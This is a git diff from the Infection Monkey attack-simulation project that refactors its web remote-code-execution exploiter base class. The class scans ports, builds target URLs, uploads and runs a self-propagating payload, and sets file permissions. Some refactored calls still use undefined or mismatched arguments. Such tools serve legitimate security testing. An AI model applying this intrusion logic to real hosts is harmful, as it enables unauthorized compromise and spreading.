diff --git a/infection_monkey/exploit/tools.py b/infection_monkey/exploit/tools.py index c40fd6f9c..5ba7f6869 100644 --- a/infection_monkey/exploit/tools.py +++ b/infection_monkey/exploit/tools.py @@ -388,6 +388,15 @@ class HTTPTools(object): @staticmethod def create_locked_transfer(host, src_path, lock, local_ip=None, local_port=None): + """ + Create http server for file transfer with lock + :param host: Variable with target's information + :param src_path: Monkey's path on current system + :param lock: Instance of lock + :param local_ip: + :param local_port: + :return: + """ if not local_port: local_port = get_free_tcp_port() diff --git a/infection_monkey/exploit/web_rce.py b/infection_monkey/exploit/web_rce.py index 571c0ad70..dedcb9f6b 100644 --- a/infection_monkey/exploit/web_rce.py +++ b/infection_monkey/exploit/web_rce.py @@ -7,12 +7,13 @@ from posixpath import join import re from abc import abstractmethod from exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools -from network.tools import check_tcp_port +from network.tools import check_tcp_port, tcp_port_to_service __author__ = 'VakarisZ' LOG = logging.getLogger(__name__) + class WebRCE(HostExploiter): def __init__(self, host): @@ -29,45 +30,58 @@ class WebRCE(HostExploiter): def exploit(self, url, command): """ A reference to a method which implements web exploit logic. - :param url: Url where to send maliciuos packet + :param url: Url to send malicious packet to. Format: [http/https]://ip:port/extension. :param command: Command which will be executed on remote host :return: Command's output string. Or True/False if it's a blind exploit """ raise NotImplementedError() - @staticmethod - def get_open_service_ports(host, port_list, names): + def get_open_service_ports(self, port_list, names): """ - :param host: Host machine we are dealing with :param port_list: Potential ports to exploit. For example _config.HTTP_PORTS :param names: [] of service names. Example: ["http"] :return: Returns all open ports from port list that are of service names """ candidate_services = {} - for name in names: - chosen_services = { - service: host.services[service] for service in host.services if - ('name' in host.services[service]) and (host.services[service]['name'] == name) - } - candidate_services.update(chosen_services) + candidate_services.update({ + service: self.host.services[service] for service in self.host.services if + (self.host.services[service]['name'] in names) + }) valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if - 'tcp-' + str(port) in candidate_services] + tcp_port_to_service(port) in candidate_services] return valid_ports - @staticmethod - def check_if_port_open(host, port): - is_open, _ = check_tcp_port(host.ip_addr, port) + def check_if_port_open(self, port): + is_open, _ = check_tcp_port(self.host.ip_addr, port) if not is_open: - LOG.info("Port %s is closed on %r, skipping", port, host) + LOG.info("Port %d is closed on %r, skipping", port, self.host) return False return True - @staticmethod - def check_if_exploitable(exploiter, url): + def get_command(self, path, http_path, commands): + if 'linux' in self.host.os['type']: + command = commands['linux'] + else: + command = commands['windows'] + # Format command try: - resp = exploiter(url, CHECK_COMMAND) + command = command % {'monkey_path': path, 'http_path': http_path} + except KeyError: + LOG.error("Trying to exploit linux host, but linux command is missing/bad! " + "Check upload_monkey function docs.") + return False + return command + + def check_if_exploitable(self, url): + """ + Checks if target is exploitable by interacting with url + :param url: Url to exploit + :return: True if exploitable and false if not + """ + try: + resp = self.exploit(url, CHECK_COMMAND) if resp is True: return True elif resp is not False and ID_STRING in resp: @@ -78,46 +92,38 @@ class WebRCE(HostExploiter): LOG.error("Host's exploitability check failed due to: %s" % e) return False - @staticmethod - def build_potential_urls(host, ports, extensions=None): + def build_potential_urls(self, ports, extensions=None): """ - :param host: Domain part of url, for example ip of host - :param ports: Array [ port.nr, isHTTPS? ] + :param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)] + Eg. ports: [[80, False], [443, True]] :param extensions: What subdirectories to scan. www.domain.com[/extension] :return: Array of url's to try and attack """ url_list = [] - if extensions is None: - for port in ports: - if port[1]: - url_list.append(("https://%s:%s" % (host.ip_addr, port[0]))) - else: - url_list.append(("http://%s:%s" % (host.ip_addr, port[0]))) - else: - # We parse extensions not to start with / + if extensions: for idx, extension in enumerate(extensions): if '/' in extension[0]: extensions[idx] = extension[1:] - for port in ports: - for extension in extensions: - if port[1]: - url_list.append(join(("https://%s:%s" % (host.ip_addr, port[0])), extension)) - else: - url_list.append(join(("http://%s:%s" % (host.ip_addr, port[0])), extension)) + else: + extensions = [""] + for port in ports: + for extension in extensions: + if port[1]: + protocol = "https" + else: + protocol = "http" + url_list.append(join(("%s://%s:%s" % (protocol, self.host.ip_addr, port[0])), extension)) if not url_list: LOG.info("No attack url's were built") return url_list - @staticmethod - def get_host_arch(host, exploiter, url): + def get_host_arch(self, url): """ - :param host: Host parameter - :param exploiter: Function with exploit logic. exploiter(url, command) :param url: Url for exploiter to use :return: Machine architecture string or false. Eg. 'i686', '64', 'x86_64', ... """ - if 'linux' in host.os['type']: - resp = exploiter(url, ARCH_LINUX) + if 'linux' in self.host.os['type']: + resp = self.exploit(url, ARCH_LINUX) if resp: # Pulls architecture string arch = re.search('(?<=Architecture:)\s+(\w+)', resp) @@ -130,7 +136,7 @@ class WebRCE(HostExploiter): else: return False else: - resp = exploiter(url, ARCH_WINDOWS) + resp = self.exploit(url, ARCH_WINDOWS) if resp: if "64-bit" in resp: return "64" @@ -139,42 +145,34 @@ class WebRCE(HostExploiter): else: return False - @staticmethod - def check_remote_file(exploiter, url, path): + def check_remote_file(self, url, path): command = EXISTS % path - resp = exploiter(url, command) + resp = self.exploit(url, command) if 'No such file' in resp: return False else: LOG.info("Host %s was already infected under the current configuration, done" % host) return True - @staticmethod - def check_remote_files(host, exploiter, url, config): + def check_remote_files(self, url): """ - Checks if any monkey files are present on remote host - :param host: Host parameter - :param exploiter: Function with exploit logic. exploiter(url, command) :param url: Url for exploiter to use - :param config: Monkey config from which paths are taken :return: True if at least one file is found, False otherwise """ paths = [] - if 'linux' in host.os['type']: - paths.append(config.dropper_target_path_linux) + if 'linux' in self.host.os['type']: + paths.append(self._config.dropper_target_path_linux) else: - paths.append(config.dropper_target_path_win_32) - paths.append(config.dropper_target_path_win_64) + paths.append(self._config.dropper_target_path_win_32) + paths.append(self._config.dropper_target_path_win_64) for path in paths: - if WebRCE.check_remote_file(exploiter, url, path): + if self.check_remote_file(url, path): return True return False - @staticmethod - def get_monkey_dest_path(config, src_path): + def get_monkey_dest_path(self, src_path): """ Gets destination path from source path. - :param config: monkey configuration :param src_path: source path of local monkey. egz : http://localserver:9999/monkey/windows-32.exe :return: Corresponding monkey path from configuration """ @@ -183,46 +181,36 @@ class WebRCE(HostExploiter): return False try: if 'linux' in src_path: - return config.dropper_target_path_linux + return self._config.dropper_target_path_linux elif "windows-32" in src_path: - return config.dropper_target_path_win_32 + return self._config.dropper_target_path_win_32 else: - return config.dropper_target_path_win_64 + return self._config.dropper_target_path_win_64 except AttributeError: LOG.error("Seems like configuration properties names changed. " "Can not get destination path to upload monkey") return False # Wrapped functions: - - @staticmethod - def get_ports_w(host, ports, names, log_msg=None): - ports = WebRCE.get_open_service_ports(host, ports, names) - if not ports and not log_msg: + def get_ports_w(self, ports, names): + ports = WebRCE.get_open_service_ports(self.host, ports, names) + if not ports: LOG.info("All default web ports are closed on %r, skipping", host) return False - elif not ports and log_msg: - LOG.info(log_msg) - return False else: return ports - @staticmethod - def set_host_arch(host, exploiter, url): - arch = WebRCE.get_host_arch(host, exploiter, url) + def set_host_arch(self, exploiter, url): + arch = WebRCE.get_host_arch(exploiter, url) if not arch: LOG.error("Couldn't get host machine's architecture") return False else: - host.os['machine'] = arch + self.host.os['machine'] = arch return True - @staticmethod - def upload_monkey(host, config, exploiter, url, commands=None): + def upload_monkey(self, url, commands=None): """ - :param host: Where we are trying to upload - :param exploiter:exploiter(url, command) Method that implements web RCE - :param config: Monkey config, to get the path where to place uploaded monkey :param url: Where exploiter should send it's request :param commands: Unformatted dict with one or two commands {'linux': LIN_CMD, 'windows': WIN_CMD} Command must have "monkey_path" and "http_path" format parameters. @@ -236,7 +224,7 @@ class WebRCE(HostExploiter): # Determine which destination path to use LOG.debug("Monkey path found") lock = Lock() - path = WebRCE.get_monkey_dest_path(config, src_path) + path = WebRCE.get_monkey_dest_path(self._config, src_path) if not path: return False # To avoid race conditions we pass a locked lock to http servers thread @@ -248,60 +236,44 @@ class WebRCE(HostExploiter): LOG.debug("Exploiter failed, http transfer creation failed.") return False LOG.info("Started http server on %s", http_path) - if not host.os['type']: + if not self.host.os['type']: LOG.error("Unknown target's os type. Skipping.") return False - if 'linux' in host.os['type']: - if not commands: - command = WGET_HTTP_UPLOAD % {'monkey_path': path, 'http_path': http_path} - else: - try: - command = commands['linux'] % {'monkey_path': path, 'http_path': http_path} - except KeyError: - LOG.error("Trying to exploit linux host, but linux command is missing/bad! " - "Check upload_monkey function docs.") - return False + # Choose command: + if commands: + command = WebRCE.get_command(self.host, path, http_path, commands) else: - if not commands: - command = POWERSHELL_HTTP_UPLOAD % {'monkey_path': path, 'http_path': http_path} - else: - try: - command = commands['windows'] % {'monkey_path': path, 'http_path': http_path} - except KeyError: - LOG.error("Trying to exploit windows host, but windows command is missing/bad! " - "Check upload_monkey function docs.") - return False - resp = exploiter(url, command) + command = WebRCE.get_command(self.host, path, http_path, + {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD}) + + resp = self.exploit(url, command) if not isinstance(resp, bool) and 'owershell is not recognized' in resp: LOG.info("Powershell not found in host. Using bitsadmin to download.") backup_command = RDP_CMDLINE_HTTP % {'monkey_path': path, 'http_path': http_path} - resp = exploiter(url, backup_command) + resp = self.exploit(url, backup_command) lock.release() http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() - LOG.info("Uploading proccess finished") + LOG.info("Uploading process finished") return {'response': resp, 'path': path} - @staticmethod - def change_permissions(host, url, exploiter, path, command=None): + def change_permissions(self, url, path, command=None): """ Method for linux hosts. Makes monkey executable - :param host: Host info :param url: Where to send malicious packets - :param exploiter: exploiter(url, command) Method that implements web RCE. :param path: Path to monkey on remote host :param command: Formatted command for permission change or None :return: response, False if failed and True if permission change is not needed """ LOG.info("Changing monkey's permissions") - if 'windows' in host.os['type']: + if 'windows' in self.host.os['type']: LOG.info("Permission change not required for windows") return True if not command: command = CHMOD_MONKEY % {'monkey_path': path} try: - resp = exploiter(url, command) + resp = self.exploit(url, command) except Exception as e: LOG.error("Something went wrong while trying to change permission: %s" % e) return False @@ -314,18 +286,15 @@ class WebRCE(HostExploiter): LOG.error("Missing permissions to make monkey executable") return False elif 'No such file or directory' in resp: - LOG.error("Could not change persmission because monkey was not found. Check path parameter.") + LOG.error("Could not change permission because monkey was not found. Check path parameter.") return False LOG.info("Permission change finished") return resp - @staticmethod - def execute_remote_monkey(host, url, exploiter, path, dropper=False): + def execute_remote_monkey(self, url, path, dropper=False): """ This method executes remote monkey - :param host: Host info :param url: Where to send malicious packets - :param exploiter: exploiter(url, command) Method that implements web RCE. :param path: Path to monkey on remote host :param dropper: Should remote monkey be executed with dropper or with monkey arg? :return: Response or False if failed @@ -339,7 +308,7 @@ class WebRCE(HostExploiter): monkey_cmd = build_monkey_commandline(host, get_monkey_depth() - 1) command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': MONKEY_ARG, 'parameters': monkey_cmd} try: - resp = exploiter(url, command) + resp = self.exploit(url, command) # If exploiter returns True / False if type(resp) is bool: LOG.info("Execution attempt successfully finished") diff --git a/infection_monkey/network/tcp_scanner.py b/infection_monkey/network/tcp_scanner.py index e291e8d3e..625173e97 100644 --- a/infection_monkey/network/tcp_scanner.py +++ b/infection_monkey/network/tcp_scanner.py @@ -2,7 +2,7 @@ from itertools import izip_longest from random import shuffle from network import HostScanner, HostFinger -from network.tools import check_tcp_ports +from network.tools import check_tcp_ports, tcp_port_to_service __author__ = 'itamar' @@ -31,7 +31,7 @@ class TcpScanner(HostScanner, HostFinger): ports, banners = check_tcp_ports(host.ip_addr, target_ports, self._config.tcp_scan_timeout / 1000.0, self._config.tcp_scan_get_banner) for target_port, banner in izip_longest(ports, banners, fillvalue=None): - service = 'tcp-' + str(target_port) + service = tcp_port_to_service(target_port) host.services[service] = {} if banner: host.services[service]['banner'] = banner diff --git a/infection_monkey/network/tools.py b/infection_monkey/network/tools.py index 5053b6c32..303b0dd8f 100644 --- a/infection_monkey/network/tools.py +++ b/infection_monkey/network/tools.py @@ -154,3 +154,7 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT, get_banner=False): except socket.error as exc: LOG.warning("Exception when checking ports on host %s, Exception: %s", str(ip), exc) return [], [] + + +def tcp_port_to_service(port): + return 'tcp-' + str(port) diff --git a/infection_monkey/transport/http.py b/infection_monkey/transport/http.py index 9f526565f..aa6cf4ee0 100644 --- a/infection_monkey/transport/http.py +++ b/infection_monkey/transport/http.py @@ -183,7 +183,14 @@ class HTTPServer(threading.Thread): self._stopped = True self.join(timeout) + class LockedHTTPServer(threading.Thread): + """ + Same as HTTPServer used for file downloads just with locks to avoid racing conditions. + """ + # Seconds to wait until server stops + STOP_TIMEOUT = 5 + def __init__(self, local_ip, local_port, filename, lock, max_downloads=1): self._local_ip = local_ip self._local_port = local_port @@ -210,10 +217,11 @@ class LockedHTTPServer(threading.Thread): self._stopped = True - def stop(self, timeout=5): + def stop(self, timeout=STOP_TIMEOUT): self._stopped = True self.join(timeout) + class HTTPConnectProxy(TransportProxyBase): def run(self): httpd = BaseHTTPServer.HTTPServer((self.local_host, self.local_port), HTTPConnectProxyHandler)